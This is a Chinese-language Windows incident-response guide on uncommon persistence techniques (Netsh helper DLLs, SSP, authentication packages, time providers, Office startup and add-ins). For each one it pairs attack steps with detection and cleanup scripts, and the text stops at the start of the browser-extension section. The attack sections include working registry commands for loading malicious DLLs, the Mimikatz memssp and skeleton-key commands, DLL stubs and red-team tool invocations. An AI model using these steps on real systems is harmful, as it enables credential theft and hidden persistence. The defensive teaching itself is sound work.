1. 1. Windows应急响应/38-冷门持久化与内核级威胁补充
    1. 1.1. 一、Netsh Helper DLL 持久化 (T1546.007)
      1. 1.1.1. 1.1 原理详解
      2. 1.1.2. 1.2 攻击实现
      3. 1.1.3. 1.3 检测方法
      4. 1.1.4. 1.4 清除方法
    2. 1.2. 二、Security Support Provider / SSP 持久化 (T1547.005)
      1. 1.2.1. 2.1 原理详解
      2. 1.2.2. 2.2 两种注入方式
      3. 1.2.3. 2.3 检测方法
      4. 1.2.4. 2.4 清除方法
    3. 1.3. 三、Authentication Package 持久化 (T1547.002)
      1. 1.3.1. 3.1 原理详解
      2. 1.3.2. 3.2 攻击实现
      3. 1.3.3. 3.3 检测方法
      4. 1.3.4. 3.4 清除方法
    4. 1.4. 四、Time Provider DLL 持久化 (T1547.003)
      1. 1.4.1. 4.1 原理详解
      2. 1.4.2. 4.2 攻击实现
      3. 1.4.3. 4.3 检测方法
      4. 1.4.4. 4.4 清除方法
    5. 1.5. 五、Office 持久化 (T1137)
      1. 1.5.1. 5.1 原理详解
      2. 1.5.2. 5.2 Word/Excel STARTUP 文件夹
      3. 1.5.3. 5.3 Office 全局模板注入
      4. 1.5.4. 5.4 VSTO Add-in(.NET Office 插件)
      5. 1.5.5. 5.5 COM Add-in 持久化
      6. 1.5.6. 5.6 Outlook 规则与表单
      7. 1.5.7. 5.7 Office 持久化清除总结
    6. 1.6. 六、浏览器扩展持久化 (T1176)
      1. 1.6.1. 6.1 原理详解
      2. 1.6.2. 6.2 浏览器扩展存储位置
      3. 1.6.3. 6.3 强制安装扩展(策略部署)
      4. 1.6.4. 6.4 检测方法
      5. 1.6.5. 6.5 清除方法
    7. 1.7. 七、屏幕保护程序持久化 (T1546.002)
      1. 1.7.1. 7.1 原理详解
      2. 1.7.2. 7.2 攻击实现
      3. 1.7.3. 7.3 检测方法
      4. 1.7.4. 7.4 清除方法
    8. 1.8. 八、文件关联劫持 (T1546.001)
      1. 1.8.1. 8.1 原理详解
      2. 1.8.2. 8.2 攻击实现
      3. 1.8.3. 8.3 检测方法
      4. 1.8.4. 8.4 清除方法
    9. 1.9. 九、Active Setup 持久化 (T1547.014)
      1. 1.9.1. 9.1 原理详解
      2. 1.9.2. 9.2 攻击实现
      3. 1.9.3. 9.3 检测方法
      4. 1.9.4. 9.4 清除方法
    10. 1.10. 十、Group Policy (GPO) 持久化 (T1484)
      1. 1.10.1. 10.1 原理详解
      2. 1.10.2. 10.2 常见 GPO 持久化方式
      3. 1.10.3. 10.3 检测方法
      4. 1.10.4. 10.4 清除方法
    11. 1.11. 十一、Logon Script 持久化 (T1037.001 / T1037.003)
      1. 1.11.1. 11.1 原理详解
      2. 1.11.2. 11.2 攻击实现
      3. 1.11.3. 11.3 检测方法
      4. 1.11.4. 11.4 清除方法
    12. 1.12. 十二、RDP 后门 (T1563.002 / T1021.001)
      1. 1.12.1. 12.1 原理详解
      2. 1.12.2. 12.2 RDP Wrapper Library
      3. 1.12.3. 12.3 termsrv.dll 补丁
      4. 1.12.4. 12.4 RDP 配置篡改
      5. 1.12.5. 12.5 Shadow Session(RDP 会话监视)
      6. 1.12.6. 12.6 清除方法
    13. 1.13. 十三、Bootkit / UEFI 持久化 (T1542)
      1. 1.13.1. 13.1 原理详解
      2. 1.13.2. 13.2 MBR / VBR Bootkit
      3. 1.13.3. 13.3 UEFI Bootkit
      4. 1.13.4. 13.4 检测方法
      5. 1.13.5. 13.5 防御与清除
    14. 1.14. 十四、内核回调与过滤驱动持久化 (T1547.006 补充)
      1. 1.14.1. 14.1 与 DLL 劫持的区别
      2. 1.14.2. 14.2 内核回调机制详解
      3. 1.14.3. 14.3 恶意驱动的典型行为模式
      4. 1.14.4. 14.4 检测方法
      5. 1.14.5. 14.5 清除方法
    15. 1.15. 十五、Windows 持久化完整排查补充 Checklist
      1. 1.15.1. 15.1 与 Page 30 的关系
      2. 1.15.2. 15.2 补充排查要点速查表
      3. 1.15.3. 15.3 一键排查脚本
      4. 1.15.4. 15.4 排查优先级建议
      5. 1.15.5. 15.5 参考资源

Windows应急响应 - 38 冷门持久化与内核级威胁补充

Windows应急响应/38-冷门持久化与内核级威胁补充

本篇覆盖 14 种冷门/高级 Windows 持久化技术,补充现有 Page 18-30 未涉及的 ATT&CK 技术

这些技术在 APT 攻击和红队行动中被广泛使用,但在常规应急响应中容易被忽略

每项技术均按 原理 → 攻击实现 → 检测 → 清除 四步结构组织

关联页面:30-持久化综合Checklist | 09-注册表持久化审计 | 22-DLL劫持与侧加载

一、Netsh Helper DLL 持久化 (T1546.007)

1.1 原理详解

Netsh(Network Shell) 是 Windows 内置的网络配置命令行工具

Netsh 支持通过 Helper DLL 机制扩展功能,第三方厂商可以注册自定义的网络配置模块

Helper DLL 注册后写入注册表:

1
HKLM\SOFTWARE\Microsoft\NetSh

每当 netsh.exe 启动时,它会遍历该注册表键下的所有值,逐一加载对应的 DLL 文件

Helper DLL 必须导出 InitHelperDll 函数,netsh 通过调用此函数完成注册

为什么能被滥用

注册表写入只需管理员权限,操作简单

netsh.exe 是 Microsoft 签名的合法二进制,加载的 DLL 在 netsh.exe 的进程空间中运行

某些系统组件和第三方软件会间接调用 netsh(如 Windows 防火墙配置、VPN 客户端等),导致恶意 DLL 被意外触发

不像 Run 键那样直接出现在 Autoruns 的默认视图中,隐蔽性较高

合法 Helper DLL 示例:

dhcpcmonitor.dll — DHCP 客户端监控

dot3cfg.dll — 802.1X 有线网络配置

fwcfg.dll — Windows 防火墙配置

netiohlp.dll — TCP/IP 配置

nteaborern.dll — BranchCache

whhelper.dll — Wireless Hosted Network

1.2 攻击实现

方法一:通过 netsh 命令注册

1
2
:: 将恶意 DLL 注册为 netsh helper
netsh add helper C:\Windows\Temp\evil_helper.dll

方法二:直接写注册表

1
2
# PowerShell 注册 Helper DLL
reg add "HKLM\SOFTWARE\Microsoft\NetSh" /v "MyHelper" /t REG_SZ /d "C:\ProgramData\update\helper.dll" /f

恶意 DLL 模板(C 语言伪代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// evil_helper.c
#include <windows.h>

// netsh 要求导出此函数
DWORD WINAPI InitHelperDll(DWORD dwNetshVersion, PVOID pReserved) {
// 在这里执行恶意操作:反弹Shell、下载执行、注入进程等
// 例如:CreateThread(NULL, 0, ReverseShellFunc, NULL, 0, NULL);
return NO_ERROR;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
}
return TRUE;
}

实际攻击场景

攻击者获取管理员权限后注册 Helper DLL

系统管理员日常使用 netsh 查询防火墙规则时触发恶意代码

某些软件安装/卸载过程会调用 netsh firewallnetsh advfirewall,间接触发

Windows Defender 防火墙配置变更时也可能调用 netsh

红队工具

Metasploit: exploit/windows/local/netsh_helper_dll

SharpPersist: SharPersist.exe -t netshhelper -c "C:\evil.dll" -o add

1.3 检测方法

检查注册表中所有注册的 Helper DLL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 列出所有 Netsh Helper DLL
Write-Host "`n[Netsh Helper DLL 列表]" -ForegroundColor Cyan
$helpers = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NetSh" |
Select-Object * -ExcludeProperty PS*
$helpers | Format-List

# 验证每个 DLL 的数字签名
$helpers.PSObject.Properties | Where-Object { $_.Name -notmatch '^PS' } | ForEach-Object {
$dllPath = $_.Value
if (Test-Path $dllPath) {
$sig = Get-AuthenticodeSignature $dllPath
$color = if ($sig.Status -eq "Valid") { "Green" } else { "Red" }
Write-Host " $($_.Name): $dllPath" -NoNewline
Write-Host " [$($sig.Status)]" -ForegroundColor $color
} else {
Write-Host " $($_.Name): $dllPath [文件不存在!]" -ForegroundColor Yellow
}
}

命令行快速检查

1
reg query HKLM\SOFTWARE\Microsoft\NetSh

使用 Autoruns 检查

Sysinternals Autoruns → 勾选 “Hide Microsoft entries” → 检查 Netsh 相关条目

Sysmon 事件监控

Event ID 13(Registry Value Set):监控 HKLM\SOFTWARE\Microsoft\NetSh 的写入

Event ID 7(Image Loaded):监控 netsh.exe 加载的非系统 DLL

告警规则(Sigma 格式逻辑)

进程 = netsh.exe 且加载的 DLL 不在 %SystemRoot%\System32\ 目录下

1.4 清除方法

删除注册表条目

1
2
3
4
5
# 删除指定的 Helper DLL 注册
reg delete "HKLM\SOFTWARE\Microsoft\NetSh" /v "MyHelper" /f

# 或通过 netsh 命令
netsh delete helper C:\ProgramData\update\helper.dll

删除恶意 DLL 文件

1
Remove-Item "C:\ProgramData\update\helper.dll" -Force

注意:不要删除合法的 Helper DLL(如 dhcpcmonitor.dll、nshhttp.dll 等),否则会影响 Windows 网络功能

二、Security Support Provider / SSP 持久化 (T1547.005)

2.1 原理详解

SSP(Security Support Provider) 是 Windows 安全子系统架构 SSPI 的核心组件

SSP 以 DLL 形式实现,由 LSASS(Local Security Authority Subsystem Service) 进程加载

Windows 内置的 SSP 包括:

msv1_0.dll — NTLM 认证

kerberos.dll — Kerberos 认证

schannel.dll — TLS/SSL

wdigest.dll — WDigest 认证(明文密码)

tspkg.dll — CredSSP(RDP 凭据委派)

pku2u.dll — PKU2U(P2P 认证)

攻击原理:攻击者将恶意 DLL 注册为 SSP,LSASS 会自动加载

恶意 SSP 可以拦截所有经过 LSASS 的认证请求,获取 明文密码

这比传统的内存抓取(如 Mimikatz sekurlsa::logonpasswords)更持久 —— 不是一次性抓取,而是持续记录每一次认证

2.2 两种注入方式

方式一:持久化注册表注入(重启后生效)

1
2
3
4
5
6
7
8
9
# 查看当前 Security Packages
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages"

# 添加恶意 SSP(mimilib 为例)
# 先将 mimilib.dll 复制到 System32
copy mimilib.dll C:\Windows\System32\mimilib.dll

# 注册为 SSP —— 在现有值后追加 mimilib
# 需要手动编辑 REG_MULTI_SZ 类型的值
1
2
3
4
5
# PowerShell 方式追加 SSP
$packages = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages").'Security Packages'
$packages += "mimilib"
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages" -Value $packages
# 重启后 LSASS 加载 mimilib.dll,所有登录凭据被记录到 C:\Windows\System32\kiwissp.log

方式二:内存注入(立即生效,重启失效)

1
2
3
# Mimikatz 内存注入 SSP
mimikatz # misc::memssp
# 注入后所有新登录的凭据被记录到 C:\Windows\System32\mimilsa.log
1
2
3
4
# 使用 Win32 API 方式(PowerShell)
# AddSecurityPackage() API 可以在不重启的情况下加载 SSP
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI')
# ... (完整代码见 PowerSploit Invoke-AddSsp)

著名案例:mimilib.dll(Mimikatz SSP 模块)

由 Benjamin Delpy(Mimikatz 作者)开发

导出 SpLsaModeInitialize 函数

拦截 SpAcceptCredentials 回调,将用户名和密码写入日志文件

日志默认位置:C:\Windows\System32\kiwissp.log(memssp)或 C:\Windows\System32\kiwissp.log(mimilib)

2.3 检测方法

检查注册表中的 Security Packages

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 列出所有注册的 SSP
Write-Host "`n[Security Packages (SSP)]" -ForegroundColor Cyan
$ssp = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages").'Security Packages'
$ssp | ForEach-Object {
$dllPath = "C:\Windows\System32\$_.dll"
if (Test-Path $dllPath) {
$sig = Get-AuthenticodeSignature $dllPath
$color = if ($sig.Status -eq "Valid") { "Green" } else { "Red" }
Write-Host " $_ -> $dllPath" -NoNewline
Write-Host " [$($sig.Status)]" -ForegroundColor $color
} else {
Write-Host " $_ -> $dllPath [文件不存在]" -ForegroundColor Yellow
}
}

对比默认 Security Packages 基线

1
2
3
4
5
6
7
8
9
10
# Windows 默认 Security Packages(Server 2016/2019/Win10/11)
$baseline = @("", "kerberos", "msv1_0", "schannel", "wdigest", "tspkg", "pku2u")
$current = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages").'Security Packages'
$anomaly = $current | Where-Object { $_ -and $_ -notin $baseline }
if ($anomaly) {
Write-Host "[!] 发现非默认 SSP:" -ForegroundColor Red
$anomaly | ForEach-Object { Write-Host " $_" -ForegroundColor Red }
} else {
Write-Host "[+] Security Packages 正常" -ForegroundColor Green
}

检查 LSASS 加载的 DLL 列表

1
2
3
4
5
6
7
8
9
10
11
12
13
# 列出 LSASS 加载的所有 DLL,检查非 Microsoft 签名的
$lsass = Get-Process lsass
$lsass.Modules | ForEach-Object {
$sig = Get-AuthenticodeSignature $_.FileName -ErrorAction SilentlyContinue
if ($sig.Status -ne "Valid" -or $sig.SignerCertificate.Subject -notmatch "Microsoft") {
[PSCustomObject]@{
Module = $_.ModuleName
Path = $_.FileName
SigStatus = $sig.Status
Signer = $sig.SignerCertificate.Subject
}
}
} | Format-Table -AutoSize

检查 SSP 日志文件

1
2
3
4
5
6
7
# 检查 Mimikatz SSP 的特征日志文件
@("C:\Windows\System32\kiwissp.log", "C:\Windows\System32\mimilsa.log") | ForEach-Object {
if (Test-Path $_) {
Write-Host "[!] 发现 SSP 凭据日志: $_" -ForegroundColor Red
Get-Item $_ | Select-Object FullName, Length, LastWriteTime
}
}

Sysmon 监控

Event ID 13:监控 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 修改

Event ID 7:LSASS 加载非系统 DLL

Windows 事件日志

Event ID 4622(Security):加载了新的认证包

2.4 清除方法

从注册表移除恶意 SSP

1
2
3
4
# 移除 mimilib
$packages = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages").'Security Packages'
$cleaned = $packages | Where-Object { $_ -ne "mimilib" }
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages" -Value $cleaned

删除恶意 DLL 文件

1
Remove-Item "C:\Windows\System32\mimilib.dll" -Force

删除凭据日志

1
2
Remove-Item "C:\Windows\System32\kiwissp.log" -Force -ErrorAction SilentlyContinue
Remove-Item "C:\Windows\System32\mimilsa.log" -Force -ErrorAction SilentlyContinue

重启系统:对于内存注入的 SSP,重启即可清除

重要:清除 SSP 后应立即强制域内所有受影响用户修改密码,因为密码可能已被记录

三、Authentication Package 持久化 (T1547.002)

3.1 原理详解

Authentication Package(AP) 是 LSA(Local Security Authority)在系统启动时加载的 DLL

注册表位置:

1
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages

默认值:msv1_0(即 NTLM 认证包)

该值类型为 REG_MULTI_SZ,支持多个值,每行一个 DLL 名称(不含 .dll 后缀)

系统启动时 LSASS 进程读取该键,按顺序加载每个 Authentication Package DLL

AP DLL 必须导出以下函数:

LsaApInitializePackage — 初始化

LsaApLogonUser / LsaApLogonUserEx / LsaApLogonUserEx2 — 处理登录请求

LsaApCallPackage — 处理包调用

与 SSP 的区别

特性 Authentication Package Security Support Provider
注册表位置 Lsa\Authentication Packages Lsa\Security Packages
加载时机 系统启动时 系统启动时
主要功能 处理认证逻辑(登录验证) 提供安全协议实现(NTLM/Kerberos)
导出函数 LsaApInitializePackage SpLsaModeInitialize
权限级别 SYSTEM(LSASS 进程) SYSTEM(LSASS 进程)
常见滥用 修改认证逻辑(万能密码) 截获凭据(密码记录)

攻击原理

攻击者编写恶意 AP DLL,在 LsaApLogonUserEx2 中实现万能密码(skeleton key)

或者在 LsaApInitializePackage 中执行恶意代码(反弹 Shell、下载执行等)

DLL 放入 %SystemRoot%\System32\,DLL 名写入注册表 → 重启后加载

3.2 攻击实现

注册恶意 Authentication Package

1
2
3
4
5
6
7
8
9
# 将恶意 DLL 复制到 System32
Copy-Item "C:\Tools\evil_ap.dll" "C:\Windows\System32\evil_ap.dll"

# 在 Authentication Packages 中追加
$ap = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Authentication Packages").'Authentication Packages'
$ap += "evil_ap"
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Authentication Packages" -Value $ap

# 重启后生效

Skeleton Key 攻击(Mimikatz)

1
2
3
4
# 内存注入方式(不修改注册表,重启失效)
mimikatz # misc::skeleton
# 注入后任何域账户均可使用密码 "mimikatz" 登录
# 原有密码仍然有效

实战中的 APT 案例

APT28 / Fancy Bear:使用自定义 AP 在域控制器上维持访问

Skeleton Key 攻击:2015 年 Dell SecureWorks 报告的真实 APT 事件

3.3 检测方法

检查注册表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 检查 Authentication Packages
Write-Host "`n[Authentication Packages]" -ForegroundColor Cyan
$ap = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Authentication Packages").'Authentication Packages'

# 默认值应仅为 msv1_0
$ap | ForEach-Object {
if ($_ -eq "msv1_0" -or $_ -eq "") {
Write-Host " $_ [默认]" -ForegroundColor Green
} else {
Write-Host " $_ [非默认!]" -ForegroundColor Red
$dllPath = "C:\Windows\System32\$_.dll"
if (Test-Path $dllPath) {
$sig = Get-AuthenticodeSignature $dllPath
Write-Host " 签名: $($sig.Status) | $($sig.SignerCertificate.Subject)" -ForegroundColor Yellow
}
}
}

检测 Skeleton Key

1
2
3
4
5
6
7
8
9
# Skeleton Key 不修改注册表,需要检查 LSASS 内存
# 方法一:尝试用已知密码登录("mimikatz")
# 方法二:内存扫描 LSASS 进程
# 方法三:检查 Event ID 4673(特权使用)中的异常模式

# 检查域控上 LSASS 模块
Get-Process lsass | Select-Object -ExpandProperty Modules |
Where-Object { $_.ModuleName -notmatch "^(msv|kerb|schan|wdig|tspk|livess|negos|pku2u|cloud)" } |
Format-Table ModuleName, FileName -AutoSize

Windows 事件日志

Event ID 4610(Security):LSA 注册了新的认证包

Event ID 4611(Security):可信登录进程已注册

3.4 清除方法

从注册表移除

1
2
# 恢复 Authentication Packages 为默认值
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Authentication Packages" -Value @("msv1_0")

删除恶意 DLL

1
Remove-Item "C:\Windows\System32\evil_ap.dll" -Force

清除 Skeleton Key:重启域控制器是最可靠的方法

后续处理:重置域内所有账户的 KRBTGT 密码(两次),确保金票失效

四、Time Provider DLL 持久化 (T1547.003)

4.1 原理详解

Windows 时间服务(W32Time) 负责系统时间同步,在域环境中尤为关键

W32Time 服务支持加载自定义的 Time Provider DLL 来实现时间源

注册表位置:

1
HKLM\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\

每个子键代表一个 Time Provider,关键值:

DllName(REG_SZ):DLL 文件路径

Enabled(REG_DWORD):1 = 启用,0 = 禁用

InputProvider(REG_DWORD):1 = 输入提供者(获取时间),0 = 输出提供者

默认的 Time Provider:

NtpClient — NTP 客户端(DLL: %SystemRoot%\System32\w32time.dll

NtpServer — NTP 服务端(DLL: %SystemRoot%\System32\w32time.dll

VMICTimeProvider — Hyper-V 时间同步(虚拟机环境)

为什么能被滥用

W32Time 服务默认以 LocalService 账户运行(在域控上以 SYSTEM 运行)

服务在系统启动时自动启动,DLL 被自动加载

Time Provider DLL 只需导出 TimeProvOpenTimeProvCommandTimeProvClose 三个函数

攻击者可在 TimeProvOpen 中执行恶意代码

该持久化位置很少被安全工具检查

4.2 攻击实现

注册恶意 Time Provider

1
2
3
4
5
6
7
8
9
# 创建 Time Provider 注册表项
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\EvilTP"
New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name "DllName" -Value "C:\Windows\System32\evil_time.dll" -Type String
Set-ItemProperty -Path $regPath -Name "Enabled" -Value 1 -Type DWord
Set-ItemProperty -Path $regPath -Name "InputProvider" -Value 1 -Type DWord

# 重启 W32Time 服务使其生效(或等待系统重启)
Restart-Service W32Time

恶意 DLL 需要导出的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// evil_time.c — Time Provider DLL 模板
#include <windows.h>

// 必须导出这三个函数
HRESULT WINAPI TimeProvOpen(WCHAR* pszName, void* pContext, void** ppProviderData) {
// 在这里执行恶意操作
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MaliciousPayload, NULL, 0, NULL);
return S_OK;
}

HRESULT WINAPI TimeProvCommand(void* pProviderData, int eCmd, void* pvArgs) {
return S_OK;
}

HRESULT WINAPI TimeProvClose(void* pProviderData) {
return S_OK;
}

红队工具

Metasploit: post/windows/manage/time_provider

SharPersist: SharPersist.exe -t timeprovider -c "C:\evil_time.dll" -o add

4.3 检测方法

检查所有 Time Provider 注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Write-Host "`n[Time Provider DLL 列表]" -ForegroundColor Cyan
$tpRoot = "HKLM:\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders"
Get-ChildItem $tpRoot | ForEach-Object {
$tp = Get-ItemProperty $_.PSPath
$dllName = $tp.DllName
$enabled = $tp.Enabled

Write-Host "`n Provider: $($_.PSChildName)" -ForegroundColor White
Write-Host " DllName: $dllName"
Write-Host " Enabled: $enabled"

if ($dllName -and (Test-Path $dllName)) {
$sig = Get-AuthenticodeSignature $dllName
$color = if ($sig.Status -eq "Valid") { "Green" } else { "Red" }
Write-Host " 签名状态: $($sig.Status)" -ForegroundColor $color
} elseif ($dllName) {
Write-Host " [!] DLL 文件不存在" -ForegroundColor Yellow
}
}

已知正常基线对比

1
2
3
4
5
6
7
8
# 默认 Time Provider 使用 %SystemRoot%\System32\w32time.dll
$tpRoot = "HKLM:\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders"
Get-ChildItem $tpRoot | ForEach-Object {
$dll = (Get-ItemProperty $_.PSPath).DllName
if ($dll -and $dll -ne "%SystemRoot%\System32\w32time.dll" -and $dll -ne "C:\Windows\System32\vmictimeprovider.dll") {
Write-Host "[!] 非默认 Time Provider: $($_.PSChildName) -> $dll" -ForegroundColor Red
}
}

Sysmon 监控

Event ID 13:监控 Services\W32Time\TimeProviders\*\DllName 的注册表修改

4.4 清除方法

删除恶意 Time Provider

1
2
3
4
5
6
7
8
# 删除注册表项
Remove-Item "HKLM:\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\EvilTP" -Recurse -Force

# 删除恶意 DLL
Remove-Item "C:\Windows\System32\evil_time.dll" -Force

# 重启 W32Time 服务
Restart-Service W32Time

五、Office 持久化 (T1137)

5.1 原理详解

Microsoft Office 拥有极其丰富的扩展机制,每一种都可能被攻击者滥用

Office 持久化在钓鱼攻击中特别常见:钓鱼邮件诱导用户打开恶意文档 → 首次执行恶意代码 → 部署 Office 级持久化

为什么 Office 持久化值得单独关注

用户几乎每天使用 Office,触发频率极高

Office 进程以用户权限运行,不需要管理员权限即可部署

多种持久化机制互为备份,增加清除难度

很多安全工具不深入检查 Office 配置

5.2 Word/Excel STARTUP 文件夹

原理:Office 应用在启动时自动加载 STARTUP 文件夹中的模板和加载项

Word STARTUP 文件夹

1
%APPDATA%\Microsoft\Word\STARTUP\

Excel XLSTART 文件夹

1
%APPDATA%\Microsoft\Excel\XLSTART\

攻击者将含有恶意宏的 .dotm(Word 模板)或 .xlsb/.xla/.xlam(Excel 加载项)放入该目录

每次用户打开 Word/Excel 时自动加载并执行宏代码

攻击示例

1
2
3
4
5
# 将恶意 Word 模板放入 STARTUP
Copy-Item "C:\Temp\evil.dotm" "$env:APPDATA\Microsoft\Word\STARTUP\update.dotm"

# 将恶意 Excel 加载项放入 XLSTART
Copy-Item "C:\Temp\evil.xlam" "$env:APPDATA\Microsoft\Excel\XLSTART\analysis.xlam"

检测

1
2
3
4
5
6
7
8
9
10
11
12
13
# 检查 Word STARTUP 文件夹
Write-Host "`n[Word STARTUP 文件夹]" -ForegroundColor Cyan
$wordStartup = "$env:APPDATA\Microsoft\Word\STARTUP"
if (Test-Path $wordStartup) {
Get-ChildItem $wordStartup -Recurse | Select-Object Name, Length, LastWriteTime, FullName
} else { Write-Host " (文件夹不存在)" }

# 检查 Excel XLSTART 文件夹
Write-Host "`n[Excel XLSTART 文件夹]" -ForegroundColor Cyan
$excelStart = "$env:APPDATA\Microsoft\Excel\XLSTART"
if (Test-Path $excelStart) {
Get-ChildItem $excelStart -Recurse | Select-Object Name, Length, LastWriteTime, FullName
} else { Write-Host " (文件夹不存在)" }

5.3 Office 全局模板注入

Word Normal.dotm

路径:%APPDATA%\Microsoft\Templates\Normal.dotm

Normal.dotm 是 Word 的全局模板,每次启动 Word 都会加载

攻击者在 Normal.dotm 中嵌入恶意 VBA 宏(如 AutoOpenDocument_Open

检测

1
2
3
4
5
6
7
8
9
10
# 检查 Normal.dotm 是否包含 VBA 宏
$normalDotm = "$env:APPDATA\Microsoft\Templates\Normal.dotm"
if (Test-Path $normalDotm) {
$item = Get-Item $normalDotm
Write-Host "Normal.dotm: $($item.Length) bytes, Modified: $($item.LastWriteTime)" -ForegroundColor Yellow
# 文件大小异常大(>50KB)可能包含恶意宏
if ($item.Length -gt 50000) {
Write-Host "[!] Normal.dotm 体积异常偏大,可能包含恶意宏" -ForegroundColor Red
}
}

Excel Personal.xlsb

路径:%APPDATA%\Microsoft\Excel\XLSTART\Personal.xlsb

类似 Normal.dotm,Excel 的个人宏工作簿

如果用户从未录制过个人宏,此文件不应存在

检测

1
2
3
4
$personalXlsb = "$env:APPDATA\Microsoft\Excel\XLSTART\Personal.xlsb"
if (Test-Path $personalXlsb) {
Write-Host "[!] 存在 Personal.xlsb: $(Get-Item $personalXlsb | Select-Object Length, LastWriteTime)" -ForegroundColor Yellow
}

5.4 VSTO Add-in(.NET Office 插件)

原理:Visual Studio Tools for Office 允许使用 .NET 开发 Office 插件

VSTO 加载项通过注册表注册:

1
2
HKCU\SOFTWARE\Microsoft\Office\<App>\Addins\<AddinName>
HKLM\SOFTWARE\Microsoft\Office\<App>\Addins\<AddinName>

关键值:

Manifest:指向 .vsto 文件的 URL 或路径

LoadBehavior:3 = 启动时加载

攻击者可以注册恶意 VSTO 加载项,每次 Office 启动时执行 .NET 代码

检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 检查所有 Office 应用的 Addins 注册
$officeApps = @("Word", "Excel", "PowerPoint", "Outlook")
foreach ($app in $officeApps) {
foreach ($hive in @("HKCU", "HKLM")) {
$path = "${hive}:\SOFTWARE\Microsoft\Office\$app\Addins"
if (Test-Path $path) {
Write-Host "`n[$hive\$app Addins]" -ForegroundColor Cyan
Get-ChildItem $path | ForEach-Object {
$props = Get-ItemProperty $_.PSPath
Write-Host " $($_.PSChildName)" -ForegroundColor White
Write-Host " Manifest: $($props.Manifest)"
Write-Host " LoadBehavior: $($props.LoadBehavior)"
}
}
}
}

5.5 COM Add-in 持久化

原理:COM Add-in 是传统的 Office 插件机制(基于 COM 组件)

注册表位置:

1
2
HKCU\SOFTWARE\Microsoft\Office\<App>\Addins\
HKLM\SOFTWARE\Microsoft\Office\<App>\Addins\

LoadBehavior 值决定加载行为:

0 = 不加载

1 = 用户请求时加载

2 = 启动时不加载(通知)

3 = 启动时自动加载(最常被滥用)

8 = 按需加载

9 = 首次启动时加载

16 = 所有用户加载

与 VSTO 使用相同的注册表路径,区别在于指向 COM DLL 而非 .vsto 清单

关联:23-COM劫持

5.6 Outlook 规则与表单

Outlook 恶意规则(T1137.005)

Outlook 邮件规则可以设置条件触发程序执行

例如:收到主题包含特定关键字的邮件 → 执行指定程序

规则存储在 Exchange 的隐藏邮件中或本地 .ost 文件中

攻击者可以通过 Outlook COM 对象或 MAPI 创建规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 检查 Outlook 规则(需要 Outlook COM 对象)
try {
$outlook = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$inbox = $namespace.GetDefaultFolder(6) # 6 = olFolderInbox
$rules = $namespace.DefaultStore.GetRules()
Write-Host "`n[Outlook 邮件规则]" -ForegroundColor Cyan
foreach ($rule in $rules) {
Write-Host " 规则: $($rule.Name) | 启用: $($rule.Enabled)" -ForegroundColor White
foreach ($action in $rule.Actions) {
if ($action.ActionType -eq 1) { # olRuleActionRunApplication
Write-Host " [!] 执行程序: $($action.Application)" -ForegroundColor Red
}
}
}
} catch {
Write-Host " Outlook 未安装或无法访问" -ForegroundColor Yellow
}

Outlook 恶意表单(T1137.003)

Outlook 自定义表单可以包含 VBScript 代码

攻击工具:Ruler(GitHub: sensepost/ruler)

表单存储在 Exchange 邮箱的关联项中(Associated Items)

检测:检查 Outlook 非默认表单、审计 Exchange 关联项

5.7 Office 持久化清除总结

清除 STARTUP 文件夹中的恶意文件

1
2
3
4
5
6
7
# 备份后删除可疑文件
$suspicious = Get-ChildItem "$env:APPDATA\Microsoft\Word\STARTUP" -ErrorAction SilentlyContinue
$suspicious += Get-ChildItem "$env:APPDATA\Microsoft\Excel\XLSTART" -ErrorAction SilentlyContinue
$suspicious | ForEach-Object {
Write-Host "移除: $($_.FullName)"
Move-Item $_.FullName "$env:TEMP\quarantine_$($_.Name)" -Force
}

恢复 Normal.dotm

1
2
# 删除被污染的 Normal.dotm(Word 会自动重建干净版本)
Remove-Item "$env:APPDATA\Microsoft\Templates\Normal.dotm" -Force

移除恶意 Add-in 注册

1
2
# 移除指定的 Add-in 注册表项
Remove-Item "HKCU:\SOFTWARE\Microsoft\Office\Word\Addins\EvilAddin" -Recurse -Force

清除 Outlook 恶意规则

通过 Outlook 客户端:文件 → 管理规则和通知 → 删除可疑规则

或使用 Ruler 工具的清除功能

六、浏览器扩展持久化 (T1176)

6.1 原理详解

